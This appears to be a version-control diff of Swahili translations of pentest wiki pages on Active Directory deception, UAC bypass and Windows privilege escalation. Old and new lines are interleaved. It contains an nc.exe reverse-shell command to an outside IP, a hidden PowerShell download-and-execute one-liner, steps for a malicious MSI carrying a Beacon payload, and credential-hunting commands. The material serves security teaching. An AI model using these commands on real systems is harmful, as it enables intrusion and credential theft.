[**Jifunze zaidi kuhusu jinsi ya kulinda hati hapa.**](../stealing-credentials/credentials-protections.md)\\
 | 
			
		||||
[**Jifunze zaidi kuhusu jinsi ya kulinda akidi hapa.**](../stealing-credentials/credentials-protections.md)\\
 | 
			
		||||
 | 
			
		||||
### **Hatua za Kijamii za Ulinzi wa Hati**
 | 
			
		||||
### **Hatua za Kijamii za Ulinzi wa Akidi**
 | 
			
		||||
 | 
			
		||||
- **Vikwazo vya Wasimamizi wa Domeni**: Inapendekezwa kwamba Wasimamizi wa Domeni wanapaswa kuruhusiwa kuingia tu kwenye Wasimamizi wa Domeni, kuepuka matumizi yao kwenye mwenyeji wengine.
 | 
			
		||||
- **Mamlaka ya Akaunti ya Huduma**: Huduma hazipaswi kuendeshwa kwa mamlaka ya Wasimamizi wa Domeni (DA) ili kudumisha usalama.
 | 
			
		||||
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufanywa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 | 
			
		||||
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufikiwa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 | 
			
		||||
 | 
			
		||||
### **Kutekeleza Mbinu za Udanganyifu**
 | 
			
		||||
 | 
			
		||||
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa kudanganya au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
 | 
			
		||||
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa udanganyifu au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
 | 
			
		||||
- Mfano wa vitendo unahusisha kutumia zana kama: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
 | 
			
		||||
- Zaidi kuhusu kutekeleza mbinu za udanganyifu yanaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
 | 
			
		||||
 | 
			
		||||
### **Kutambua Udanganyifu**
 | 
			
		||||
 | 
			
		||||
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uundaji, na idadi ndogo ya nenosiri mbaya.
 | 
			
		||||
- **Viashiria vya Jumla**: Kulinganisha sifa za vitu vya kudanganya vinavyowezekana na zile za halali kunaweza kufichua kutokuelewana. Zana kama [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) zinaweza kusaidia katika kutambua udanganyifu kama huo.
 | 
			
		||||
- **Viashiria vya Jumla**: Kulinganisha sifa za vitu vya udanganyifu vinavyowezekana na zile za halali kunaweza kufichua kutokuelewana. Zana kama [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) zinaweza kusaidia katika kutambua udanganyifu kama huo.
 | 
			
		||||
 | 
			
		||||
### **Kupita Mfumo wa Ugunduzi**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -12,9 +12,9 @@ Kwa maelezo zaidi kuhusu viwango vya integrity:
 | 
			
		||||
../windows-local-privilege-escalation/integrity-levels.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Wakati UAC ipo, mtumiaji wa msimamizi anapewa tokeni 2: ufunguo wa mtumiaji wa kawaida, kufanya vitendo vya kawaida kama kiwango cha kawaida, na moja yenye haki za msimamizi.
 | 
			
		||||
Wakati UAC ipo, mtumiaji wa msimamizi anapewa tokeni 2: ufunguo wa mtumiaji wa kawaida, ili kufanya vitendo vya kawaida kama kiwango cha kawaida, na moja yenye haki za msimamizi.
 | 
			
		||||
 | 
			
		||||
Hii [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) inajadili jinsi UAC inavyofanya kazi kwa undani mkubwa na inajumuisha mchakato wa kuingia, uzoefu wa mtumiaji, na usanifu wa UAC. Wasimamizi wanaweza kutumia sera za usalama kuunda jinsi UAC inavyofanya kazi maalum kwa shirika lao katika ngazi ya ndani (wakati wa kutumia secpol.msc), au kuundwa na kusukumwa kupitia Group Policy Objects (GPO) katika mazingira ya Active Directory domain. Mipangilio mbalimbali inajadiliwa kwa undani [hapa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Kuna mipangilio 10 ya Group Policy inayoweza kuwekwa kwa UAC. Jedwali lifuatalo linatoa maelezo zaidi:
 | 
			
		||||
Hii [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) inajadili jinsi UAC inavyofanya kazi kwa undani mkubwa na inajumuisha mchakato wa kuingia, uzoefu wa mtumiaji, na usanifu wa UAC. Wasimamizi wanaweza kutumia sera za usalama kuunda jinsi UAC inavyofanya kazi maalum kwa shirika lao katika ngazi ya ndani (wakati wa kutumia secpol.msc), au kuundwa na kusukumwa kupitia Group Policy Objects (GPO) katika mazingira ya Active Directory domain. Mipangilio mbalimbali inajadiliwa kwa undani [hapa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Kuna mipangilio 10 ya Group Policy ambayo inaweza kuwekwa kwa UAC. Jedwali lifuatalo linatoa maelezo zaidi:
 | 
			
		||||
 | 
			
		||||
| Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | 
			
		||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
 | 
			
		||||
@ -31,9 +31,9 @@ Hii [page](https://docs.microsoft.com/en-us/windows/security/identity-protection
 | 
			
		||||
 | 
			
		||||
### UAC Bypass Theory
 | 
			
		||||
 | 
			
		||||
Baadhi ya programu zina **autoelevated automatically** ikiwa **mtumiaji ni** katika **kikundi cha wasimamizi**. Binaries hizi zina ndani ya _**Manifests**_ chaguo la _**autoElevate**_ lenye thamani _**True**_. Binary inapaswa kuwa **imetiwa saini na Microsoft** pia.
 | 
			
		||||
Baadhi ya programu zina **autoelevated automatically** ikiwa **mtumiaji ni** sehemu ya **kikundi cha wasimamizi**. Binaries hizi zina ndani ya _**Manifests**_ chaguo la _**autoElevate**_ lenye thamani _**True**_. Binary inapaswa kuwa **imetiwa saini na Microsoft** pia.
 | 
			
		||||
 | 
			
		||||
Kisha, ili **kuepuka** **UAC** (kuinua kutoka **kiwango cha kati** **hadi juu**) baadhi ya washambuliaji hutumia aina hii ya binaries ili **kutekeleza msimbo wowote** kwa sababu itatekelezwa kutoka kwa **mchakato wa kiwango cha juu cha integrity**.
 | 
			
		||||
Kisha, ili **kuepuka** **UAC** (kuinua kutoka **kiwango cha kati** cha integrity **hadi juu**) baadhi ya washambuliaji hutumia aina hii ya binaries ili **kutekeleza msimbo wa kiholela** kwa sababu itatekelezwa kutoka kwa **mchakato wa integrity wa kiwango cha Juu**.
 | 
			
		||||
 | 
			
		||||
Unaweza **kuangalia** _**Manifest**_ ya binary ukitumia zana _**sigcheck.exe**_ kutoka Sysinternals. Na unaweza **kuona** **kiwango cha integrity** cha michakato ukitumia _Process Explorer_ au _Process Monitor_ (ya Sysinternals).
 | 
			
		||||
 | 
			
		||||
@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 | 
			
		||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 | 
			
		||||
EnableLUA    REG_DWORD    0x1
 | 
			
		||||
```
 | 
			
		||||
Ikiwa ni **`1`** basi UAC ime **wezeshwa**, ikiwa ni **`0`** au haipo, basi UAC ni **isiyoweza**.
 | 
			
		||||
Ikiwa ni **`1`** basi UAC ime **wezeshwa**, ikiwa ni **`0`** au haipo, basi UAC ni **isiyo active**.
 | 
			
		||||
 | 
			
		||||
Kisha, angalia **ni kiwango gani** kimewekwa:
 | 
			
		||||
```
 | 
			
		||||
@ -56,14 +56,14 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 | 
			
		||||
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 | 
			
		||||
```
 | 
			
		||||
- Ikiwa **`0`** basi, UAC haitatoa ujumbe (kama **imezimwa**)
 | 
			
		||||
- Ikiwa **`1`** msimamizi **anaulizwa jina la mtumiaji na nenosiri** ili kutekeleza faili ya binary kwa haki za juu (katika Desktop Salama)
 | 
			
		||||
- Ikiwa **`2`** (**Daima niarifu**) UAC daima itauliza uthibitisho kwa msimamizi anapojaribu kutekeleza kitu kwa mamlaka ya juu (katika Desktop Salama)
 | 
			
		||||
- Ikiwa **`3`** kama `1` lakini si lazima katika Desktop Salama
 | 
			
		||||
- Ikiwa **`4`** kama `2` lakini si lazima katika Desktop Salama
 | 
			
		||||
- Ikiwa **`1`** msimamizi **anaulizwa jina la mtumiaji na nenosiri** ili kutekeleza binary kwa haki za juu (katika Desktop Salama)
 | 
			
		||||
- Ikiwa **`2`** (**Daima niarifu**) UAC kila wakati itauliza uthibitisho kwa msimamizi anapojaribu kutekeleza kitu chenye mamlaka ya juu (katika Desktop Salama)
 | 
			
		||||
- Ikiwa **`3`** kama `1` lakini si lazima kwenye Desktop Salama
 | 
			
		||||
- Ikiwa **`4`** kama `2` lakini si lazima kwenye Desktop Salama
 | 
			
		||||
- ikiwa **`5`**(**kawaida**) itauliza msimamizi kuthibitisha kuendesha binaries zisizo za Windows kwa mamlaka ya juu
 | 
			
		||||
 | 
			
		||||
Kisha, unapaswa kuangalia thamani ya **`LocalAccountTokenFilterPolicy`**\
 | 
			
		||||
Ikiwa thamani ni **`0`**, basi, mtumiaji wa **RID 500** (**Msimamizi wa ndani**) anaweza kufanya **kazi za usimamizi bila UAC**, na ikiwa ni `1`, **akaunti zote ndani ya kundi "Administrators"** zinaweza kufanya hivyo.
 | 
			
		||||
Ikiwa thamani ni **`0`**, basi, mtumiaji tu wa **RID 500** (**Msimamizi wa ndani**) anaweza kufanya **kazi za usimamizi bila UAC**, na ikiwa ni `1`, **akaunti zote ndani ya kundi "Administrators"** zinaweza kufanya hivyo.
 | 
			
		||||
 | 
			
		||||
Na, hatimaye angalia thamani ya funguo **`FilterAdministratorToken`**\
 | 
			
		||||
Ikiwa **`0`**(kawaida), akaunti ya **Msimamizi wa ndani inaweza** kufanya kazi za usimamizi wa mbali na ikiwa **`1`** akaunti ya msimamizi wa ndani **haiwezi** kufanya kazi za usimamizi wa mbali, isipokuwa `LocalAccountTokenFilterPolicy` imewekwa kuwa `1`.
 | 
			
		||||
@ -104,7 +104,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 | 
			
		||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 | 
			
		||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 | 
			
		||||
 | 
			
		||||
### **Sana** Msingi UAC "bypass" (ufikiaji kamili wa mfumo wa faili)
 | 
			
		||||
### **Sana** Msingi UAC "bypass" (ufikiaji wa mfumo wa faili kamili)
 | 
			
		||||
 | 
			
		||||
Ikiwa una shell na mtumiaji ambaye yuko ndani ya kundi la Wasimamizi unaweza **kuunganisha C$** iliyoshirikiwa kupitia SMB (mfumo wa faili) ndani ya diski mpya na utakuwa na **ufikiaji wa kila kitu ndani ya mfumo wa faili** (hata folda ya nyumbani ya Msimamizi).
 | 
			
		||||
 | 
			
		||||
@ -135,14 +135,14 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 | 
			
		||||
 | 
			
		||||
### KRBUACBypass
 | 
			
		||||
 | 
			
		||||
Hati na chombo katika [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 | 
			
		||||
Nyaraka na zana katika [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 | 
			
		||||
 | 
			
		||||
### UAC bypass exploits
 | 
			
		||||
 | 
			
		||||
[**UACME** ](https://github.com/hfiref0x/UACME)ambayo ni **mkusanyiko** wa exploits kadhaa za UAC bypass. Kumbuka kwamba utahitaji **kukusanya UACME ukitumia visual studio au msbuild**. Kukusanya kutaunda executable kadhaa (kama `Source\Akagi\outout\x64\Debug\Akagi.exe`), utahitaji kujua **ni ipi unahitaji.**\
 | 
			
		||||
Unapaswa **kuwa makini** kwa sababu baadhi ya kuepuka kutatoa **maombi mengine** ambayo yatamwonya **mtumiaji** kwamba kuna kitu kinatokea.
 | 
			
		||||
 | 
			
		||||
UACME ina **toleo la kujenga ambalo kila mbinu ilianza kufanya kazi**. Unaweza kutafuta mbinu inayohusiana na toleo lako:
 | 
			
		||||
UACME ina **toleo la kujenga ambalo kila mbinu ilianza kufanya kazi**. Unaweza kutafuta mbinu inayohusisha toleo lako:
 | 
			
		||||
```
 | 
			
		||||
PS C:\> [environment]::OSVersion.Version
 | 
			
		||||
 | 
			
		||||
@ -150,13 +150,13 @@ Major  Minor  Build  Revision
 | 
			
		||||
-----  -----  -----  --------
 | 
			
		||||
10     0      14393  0
 | 
			
		||||
```
 | 
			
		||||
pia, kutumia [hii](https://en.wikipedia.org/wiki/Windows_10_version_history) ukurasa unapata toleo la Windows `1607` kutoka kwa toleo la kujenga.
 | 
			
		||||
Pia, ukitumia [hii](https://en.wikipedia.org/wiki/Windows_10_version_history) ukurasa unapata toleo la Windows `1607` kutoka kwa toleo la kujenga.
 | 
			
		||||
 | 
			
		||||
#### UAC bypass zaidi
 | 
			
		||||
#### UAC Bypass Zaidi
 | 
			
		||||
 | 
			
		||||
**Mbinu zote** zinazotumika hapa kukwepa AUC **zinahitaji** **shell ya mwingiliano kamili** na mwathirika (shell ya kawaida ya nc.exe haitoshi).
 | 
			
		||||
**Teknolojia zote** zinazotumika hapa kukwepa AUC **zinahitaji** **shell ya mwingiliano kamili** na mwathirika (shell ya kawaida ya nc.exe haitoshi).
 | 
			
		||||
 | 
			
		||||
Unaweza kupata kwa kutumia **meterpreter** kikao. Hamisha kwa **mchakato** ambao una **Thamani ya Kikao** sawa na **1**:
 | 
			
		||||
Unaweza kupata kwa kutumia **meterpreter** kikao. Hamisha kwa **mchakato** ambao una **Thamani ya Kikao** inayolingana na **1**:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -164,17 +164,17 @@ Unaweza kupata kwa kutumia **meterpreter** kikao. Hamisha kwa **mchakato** ambao
 | 
			
		||||
 | 
			
		||||
### UAC Bypass na GUI
 | 
			
		||||
 | 
			
		||||
Ikiwa una ufikiaji wa **GUI unaweza tu kukubali kiashiria cha UAC** unapokipata, huwezi kweli kuhitaji kukwepa. Hivyo, kupata ufikiaji wa GUI kutakuruhusu kukwepa UAC.
 | 
			
		||||
Ikiwa una ufikiaji wa **GUI unaweza tu kukubali ombi la UAC** unapokutana nalo, huwezi kweli kuhitaji kukwepa. Hivyo, kupata ufikiaji wa GUI kutakuruhusu kukwepa UAC.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, ikiwa unapata kikao cha GUI ambacho mtu alikuwa akikitumia (labda kupitia RDP) kuna **zana fulani ambazo zitakuwa zikifanya kazi kama msimamizi** ambapo unaweza **kufanya** **cmd** kwa mfano **kama admin** moja kwa moja bila kuombwa tena na UAC kama [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Hii inaweza kuwa ya **kujificha** zaidi.
 | 
			
		||||
Zaidi ya hayo, ikiwa unapata kikao cha GUI ambacho mtu alikuwa akikitumia (labda kupitia RDP) kuna **zana kadhaa ambazo zitakuwa zikifanya kazi kama msimamizi** ambapo unaweza **kufanya** **cmd** kwa mfano **kama msimamizi** moja kwa moja bila kuombwa tena na UAC kama [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Hii inaweza kuwa ya **kujificha** zaidi.
 | 
			
		||||
 | 
			
		||||
### UAC bypass ya nguvu inayosikika
 | 
			
		||||
### UAC Bypass ya nguvu inayosikika
 | 
			
		||||
 | 
			
		||||
Ikiwa hujali kuhusu kuwa na kelele unaweza kila wakati **kufanya kitu kama** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) ambacho **kinahitaji kuinua ruhusa hadi mtumiaji akubali**.
 | 
			
		||||
 | 
			
		||||
### Kukwepa kwako mwenyewe - Mbinu ya msingi ya UAC bypass
 | 
			
		||||
 | 
			
		||||
Ikiwa utaangalia **UACME** utaona kwamba **kebisha nyingi za UAC zinatumia udhaifu wa Dll Hijacking** (hasa kuandika dll mbaya kwenye _C:\Windows\System32_). [Soma hii kujifunza jinsi ya kupata udhaifu wa Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
 | 
			
		||||
Ikiwa utaangalia **UACME** utaona kwamba **kebisha nyingi za UAC zinatumia udhaifu wa Dll Hijacking** (hasa kuandika dll mbaya kwenye _C:\Windows\System32_). [Soma hii kujifunza jinsi ya kupata udhaifu wa Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 | 
			
		||||
 | 
			
		||||
1. Tafuta binary ambayo itafanya **autoelevate** (angalia kwamba inapotekelezwa inafanya kazi katika kiwango cha juu cha uaminifu).
 | 
			
		||||
2. Kwa procmon pata matukio ya "**JINA HALIKUPATIKANA**" ambayo yanaweza kuwa hatarini kwa **DLL Hijacking**.
 | 
			
		||||
 | 
			
		||||
@ -2,7 +2,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
### **Zana bora kutafuta njia za Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 | 
			
		||||
### **Zana bora la kutafuta njia za Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 | 
			
		||||
 | 
			
		||||
## Nadharia ya Awali ya Windows
 | 
			
		||||
 | 
			
		||||
@ -32,7 +32,7 @@ integrity-levels.md
 | 
			
		||||
 | 
			
		||||
## Udhibiti wa Usalama wa Windows
 | 
			
		||||
 | 
			
		||||
Kuna mambo tofauti katika Windows ambayo yanaweza **kukuzuia kuhesabu mfumo**, kuendesha executable au hata **kubaini shughuli zako**. Unapaswa **kusoma** **ukurasa** ufuatao na **kuhesabu** mifumo hii yote ya **ulinzi** **kabla** ya kuanza kuhesabu privilege escalation:
 | 
			
		||||
Kuna mambo tofauti katika Windows ambayo yanaweza **kukuzuia kuhesabu mfumo**, kuendesha executable au hata **kubaini shughuli zako**. Unapaswa **kusoma** **ukurasa** ufuatao na **kuhesabu** mitambo hii yote ya **kinga** kabla ya kuanza kuhesabu privilege escalation:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../authentication-credentials-uac-and-efs/
 | 
			
		||||
@ -40,7 +40,7 @@ Kuna mambo tofauti katika Windows ambayo yanaweza **kukuzuia kuhesabu mfumo**, k
 | 
			
		||||
 | 
			
		||||
## Taarifa za Mfumo
 | 
			
		||||
 | 
			
		||||
### Hesabu ya Taarifa za Toleo
 | 
			
		||||
### Uhesabuji wa Taarifa za Toleo
 | 
			
		||||
 | 
			
		||||
Angalia ikiwa toleo la Windows lina udhaifu wowote unaojulikana (angalia pia patches zilizotumika).
 | 
			
		||||
```bash
 | 
			
		||||
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
 | 
			
		||||
cat (Get-PSReadlineOption).HistorySavePath
 | 
			
		||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
 | 
			
		||||
```
 | 
			
		||||
### PowerShell Transcript files
 | 
			
		||||
### Fail za PowerShell Transcript
 | 
			
		||||
 | 
			
		||||
Unaweza kujifunza jinsi ya kuwasha hii katika [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
 | 
			
		||||
```bash
 | 
			
		||||
@ -112,7 +112,7 @@ Stop-Transcript
 | 
			
		||||
```
 | 
			
		||||
### PowerShell Module Logging
 | 
			
		||||
 | 
			
		||||
Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, ikiwa ni pamoja na amri zilizotekelezwa, mwito wa amri, na sehemu za skripti. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.
 | 
			
		||||
Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, yakijumuisha amri zilizotekelezwa, mwito wa amri, na sehemu za skripti. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.
 | 
			
		||||
 | 
			
		||||
Ili kuwezesha hili, fuata maelekezo katika sehemu ya "Transcript files" ya hati, ukichagua **"Module Logging"** badala ya **"Powershell Transcription"**.
 | 
			
		||||
```bash
 | 
			
		||||
@ -152,9 +152,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
 | 
			
		||||
```
 | 
			
		||||
## WSUS
 | 
			
		||||
 | 
			
		||||
Unaweza kuathiri mfumo ikiwa masasisho hayatafutwa kwa kutumia http**S** bali http.
 | 
			
		||||
Unaweza kuathiri mfumo ikiwa masasisho hayajatolewa kwa kutumia http**S** bali http.
 | 
			
		||||
 | 
			
		||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo ya SSL kwa kuendesha yafuatayo:
 | 
			
		||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo na SSL kwa kuendesha yafuatayo:
 | 
			
		||||
```
 | 
			
		||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
 | 
			
		||||
```
 | 
			
		||||
@ -165,9 +165,9 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 | 
			
		||||
```
 | 
			
		||||
Na ikiwa `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ni sawa na `1`.
 | 
			
		||||
 | 
			
		||||
Basi, **inaweza kutumika.** Ikiwa rejista ya mwisho ni sawa na 0, basi, kipengee cha WSUS kitaachwa.
 | 
			
		||||
Basi, **inaweza kutumika.** Ikiwa rejista ya mwisho ni sawa na 0, basi, kipengele cha WSUS kitaachwa.
 | 
			
		||||
 | 
			
		||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Hizi ni silaha za MiTM zilizofanywa kuwa hatari za kuingiza 'sasisho' za uongo katika trafiki ya WSUS isiyo na SSL.
 | 
			
		||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Hizi ni skripti za uhamasishaji za MiTM za kuingiza 'sasisho' za 'bandia' katika trafiki ya WSUS isiyo na SSL.
 | 
			
		||||
 | 
			
		||||
Soma utafiti hapa:
 | 
			
		||||
 | 
			
		||||
@ -208,7 +208,7 @@ Ikiwa una kikao cha meterpreter unaweza kujiendesha mbinu hii kwa kutumia moduli
 | 
			
		||||
 | 
			
		||||
### PowerUP
 | 
			
		||||
 | 
			
		||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa MSI binary ya Windows ili kupandisha mamlaka. Skripti hii inaandika MSI installer iliyotayarishwa mapema inayohitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
 | 
			
		||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa MSI binary ya Windows ili kupandisha mamlaka. Skripti hii inaandika msanidi wa MSI ulioandaliwa mapema ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
 | 
			
		||||
```
 | 
			
		||||
Write-UserAddMSI
 | 
			
		||||
```
 | 
			
		||||
@ -216,7 +216,7 @@ Just execute the created binary to escalate privileges.
 | 
			
		||||
 | 
			
		||||
### MSI Wrapper
 | 
			
		||||
 | 
			
		||||
Soma hii tutorial ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
 | 
			
		||||
Soma mafunzo haya ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
msi-wrapper.md
 | 
			
		||||
@ -236,7 +236,7 @@ create-msi-with-wix.md
 | 
			
		||||
- Endelea kubonyeza **Next** hadi ufikie hatua ya 3 ya 4 (chagua faili za kujumuisha). Bonyeza **Add** na chagua payload ya Beacon uliyotengeneza hivi karibuni. Kisha bonyeza **Finish**.
 | 
			
		||||
- Taja mradi wa **AlwaysPrivesc** katika **Solution Explorer** na katika **Properties**, badilisha **TargetPlatform** kutoka **x86** hadi **x64**.
 | 
			
		||||
- Kuna mali nyingine unaweza kubadilisha, kama **Mwandishi** na **Mtengenezaji** ambazo zinaweza kufanya programu iliyosakinishwa ionekane kuwa halali zaidi.
 | 
			
		||||
- Bonyeza-kulia mradi na chagua **View > Custom Actions**.
 | 
			
		||||
- Bonyeza-kulia kwenye mradi na chagua **View > Custom Actions**.
 | 
			
		||||
- Bonyeza-kulia **Install** na chagua **Add Custom Action**.
 | 
			
		||||
- Bonyeza mara mbili kwenye **Application Folder**, chagua faili yako ya **beacon.exe** na bonyeza **OK**. Hii itahakikisha kwamba payload ya beacon inatekelezwa mara tu installer inapotekelezwa.
 | 
			
		||||
- Chini ya **Custom Action Properties**, badilisha **Run64Bit** kuwa **True**.
 | 
			
		||||
@ -251,7 +251,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 | 
			
		||||
```
 | 
			
		||||
Ili kutumia udhaifu huu unaweza kutumia: _exploit/windows/local/always_install_elevated_
 | 
			
		||||
 | 
			
		||||
## Antivirus na Wanaogundua
 | 
			
		||||
## Antivirus na Vifaa vya Kugundua
 | 
			
		||||
 | 
			
		||||
### Mipangilio ya Ukaguzi
 | 
			
		||||
 | 
			
		||||
@ -289,14 +289,14 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 | 
			
		||||
```
 | 
			
		||||
### Credentials Guard
 | 
			
		||||
 | 
			
		||||
**Credential Guard** ilianzishwa katika **Windows 10**. Lengo lake ni kulinda akiba za taarifa za kuingia zilizohifadhiwa kwenye kifaa dhidi ya vitisho kama mashambulizi ya pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
 | 
			
		||||
**Credential Guard** ilianzishwa katika **Windows 10**. Lengo lake ni kulinda akiba za taarifa za kuingia zilizohifadhiwa kwenye kifaa dhidi ya vitisho kama vile mashambulizi ya pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
 | 
			
		||||
```bash
 | 
			
		||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 | 
			
		||||
```
 | 
			
		||||
### Cached Credentials
 | 
			
		||||
 | 
			
		||||
**Akikodi za kikoa** zinathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, kawaida huanzishwa akikodi za kikoa kwa mtumiaji.\
 | 
			
		||||
[**Taarifa zaidi kuhusu Akikodi za Kikoa hapa**](../stealing-credentials/credentials-protections.md#cached-credentials).
 | 
			
		||||
**Akikodi za kikoa** zinathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, kawaida hukuzwa akikodi za kikoa kwa mtumiaji.\
 | 
			
		||||
[**Maelezo zaidi kuhusu Akikodi za Cached hapa**](../stealing-credentials/credentials-protections.md#cached-credentials).
 | 
			
		||||
```bash
 | 
			
		||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 | 
			
		||||
```
 | 
			
		||||
